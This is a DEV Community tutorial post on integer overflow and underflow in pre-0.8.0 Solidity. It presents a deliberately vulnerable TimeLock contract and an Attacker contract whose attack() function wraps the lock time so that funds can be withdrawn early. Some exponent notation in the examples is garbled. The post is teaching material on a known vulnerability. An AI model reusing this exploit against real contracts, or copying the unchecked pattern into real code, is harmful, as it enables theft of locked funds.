DEV Community

Rushank Savant
Rushank Savant

Posted on

5 4

Arithmetic overflow/underflow

As of Solidity 0.8.0, arithmetic overflow/underflow is not a concern. But if we are using a previous version, this is something we need to take care of.

First let us understand what underflow/overflow is:

  • Overflow: when a variable exceeds maximum limit of uint (2**256-1), it becomes 0

Eg: uint var1 = 2**256 - 1

var1 + 1 will be 0

var1 + 2 will be 1

  • Underflow: when a variable is reduced to something less than the minimum limit of uint (0), it becomes maximum number (2**256-1)

Eg: uint var2 = 0

var2 -1 = 2*256 -1

var2 -2 = 2
*256 -2

Now let's understand this with an example; consider a contract that accepts eth from users and locks them for a certain amount of time. Users cannot withdraw before this time-limit but can increase the time limit if they want.

contract TimeLock {
    mapping (address => uint) public balances;
    mapping (address => uint) public lockTime;

    function deposit() external payable{ // to deposit
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] += block.timestamp + 1 weeks;
    }

    function withdraw() external { // to withdraw
        uint bal = balances[msg.sender]; 
        require(bal > 0, "No balance to withdraw");
        require(lockTime[msg.sender] <= block.timestamp, "Time left yet");

        balances[msg.sender] = 0; // updating before sending, to avoid reentrancy

        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Send ETH failed");
    }

    function increaseTimeLimit(uint _seconds) external { // to increase lock time
        lockTime[msg.sender] += _seconds;
    }
}
Enter fullscreen mode Exit fullscreen mode

Now if attacker wants to hack this contract and get his funds immediately he just needs to overflow lockTime[msg.sender]. Once this is done, require(lockTime[msg.sender] <= block.timestamp, "Time left yet"); in withdraw() function will pass (because lockTime[msg.sender] will be equal to a small number after overflow).

Let's see how attacker can achieve this:

contract Attacker {
    TimeLock timeLockContract;
    receive() external payable{
    }

    constructor(address _timeLock) {
        timeLockContract = TimeLock(_timeLock);
    }

    function deposit() external payable {
        timeLockContract.deposit{value: msg.value}();
    }

    function attack() external {
        timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));
        timeLockContract.withdraw();      
    }

    function getBalance() external view returns(uint) {
        return address(this).balance;
    }

}
Enter fullscreen mode Exit fullscreen mode

In the attack() function, we are using underflow to get a very big number: timeLockContract.increaseTimeLimit(uint(-timeLockContract.lockTime(address(this))));. This big number is added to lockTime[msg.sender] in TimeLock contract to cause overflow. And hence the withdraw is executed.

Heroku

This site is built on Heroku

Join the ranks of developers at Salesforce, Airbase, DEV, and more who deploy their mission critical applications on Heroku. Sign up today and launch your first app!

Get Started

Top comments (0)

A Workflow Copilot. Tailored to You.

Pieces.app image

Our desktop app, with its intelligent copilot, streamlines coding by generating snippets, extracting code from screenshots, and accelerating problem-solving.

Read the docs

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay